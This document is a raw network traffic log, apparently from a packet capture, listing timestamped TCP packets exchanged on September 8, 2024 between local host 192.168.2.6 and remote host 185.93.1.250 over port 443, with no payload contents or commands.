Sep 8, 2024 09:53:39.681057930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.681087971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.681159973 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.681175947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.681221962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.681263924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.681281090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.681313992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.681318998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.681345940 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.681365967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.682054043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.682068110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.682131052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.682137012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.682169914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.682378054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.682391882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.682432890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.682437897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.682462931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.683188915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.683203936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.683254004 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.683260918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.683293104 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.683612108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.683625937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.683665037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.683670044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.683701992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.683975935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.683988094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.684039116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.684045076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.684077024 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.684187889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.684201002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.684245110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.684250116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.684282064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.768009901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.768030882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.768182993 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.768198013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.768248081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.768256903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.768268108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.768282890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.769021034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.769036055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.769047022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.769053936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.769078970 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.769107103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.769706011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.769721031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.769761086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.769766092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.769802094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.770167112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.770180941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.770235062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.770239115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.770272017 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.770714045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.770726919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.770776987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.770782948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.770819902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.771064043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.771078110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.771125078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.771131039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.771164894 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.771956921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.771970034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.772027016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.772032022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.772070885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.855212927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.855232000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.855319023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.855360985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.855371952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.855401039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.855417013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.855452061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.856224060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.856237888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.856293917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.856300116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.856700897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.856719971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.856758118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.856762886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.856785059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.857096910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.857115030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.857148886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.857153893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.857177019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.857633114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.857650995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.857677937 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.857682943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.857706070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.858187914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.858200073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.858247042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.858253002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.859110117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.859128952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.859157085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.859162092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.859189034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.908978939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.944428921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.944452047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.944551945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.944561958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.944611073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.944808006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.944825888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.944860935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.944865942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.944894075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.944912910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.945725918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.945739031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.945796967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.945802927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.945837975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.946801901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.946818113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.946878910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.946885109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.946924925 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.948009014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.948023081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.948077917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.948084116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.948121071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.948791027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.948805094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.948854923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.948859930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.948889971 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.949050903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.949067116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.949115992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.949120045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.949152946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.949343920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.949358940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.949404955 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.949410915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.949446917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.232422113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.232445002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.232527018 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.232543945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.232583046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.232891083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.232904911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.232959032 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.232964993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.233009100 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.233462095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.233474970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.233522892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.233529091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.233551979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.233573914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.233618021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.233629942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.233690023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.233695984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.233735085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.234039068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.234060049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.234119892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.234124899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.234160900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.234186888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.234200954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.234247923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.234252930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.234288931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.234328032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.234340906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.234381914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.234388113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.234411955 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.234421968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.235445023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235459089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235522032 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.235527039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235562086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235568047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.235572100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235586882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235610008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.235615969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235639095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.235658884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.235682964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235696077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235737085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.235742092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.235780954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.237108946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.237122059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.237174988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.237186909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.237195015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.237215042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.237220049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.237224102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.237260103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.237284899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.237384081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.237402916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.237447023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.237452030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.237477064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.237499952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.238646030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238658905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238707066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238709927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.238718033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238735914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238746881 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.238787889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.238792896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238811016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238832951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238858938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.238863945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238883972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.238905907 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.238965034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.238984108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.239013910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.239020109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.239053011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.239064932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.240307093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240323067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240376949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.240382910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240416050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.240437031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240453005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240489960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.240494013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240519047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.240531921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.240612030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240623951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240679026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.240684986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240700006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240719080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240724087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.240730047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.240753889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.240791082 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.242105007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.242120981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.242172003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.242180109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.242208004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.242227077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.242229939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.242234945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.242254972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.242285013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.293385029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.293417931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.293483019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.293585062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.293613911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.293643951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.293809891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.293823957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.293855906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.293864012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.293885946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.294291973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.294312954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.294343948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.294351101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.294367075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.294832945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.294847012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.294902086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.294909000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.295865059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.295883894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.295917988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.295923948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.295947075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.296916008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.296931028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.296981096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.296988010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.297238111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.297264099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.297297001 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.297302008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.297313929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.346467018 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.380354881 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.380383015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.380433083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.380474091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.380486965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.380512953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.380542994 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.381026983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.381040096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.381097078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.381109953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.381325960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.381345034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.381383896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.381391048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.381401062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.381798983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.381817102 CEST	443	49710	185.93.1.250	192.168.2.6
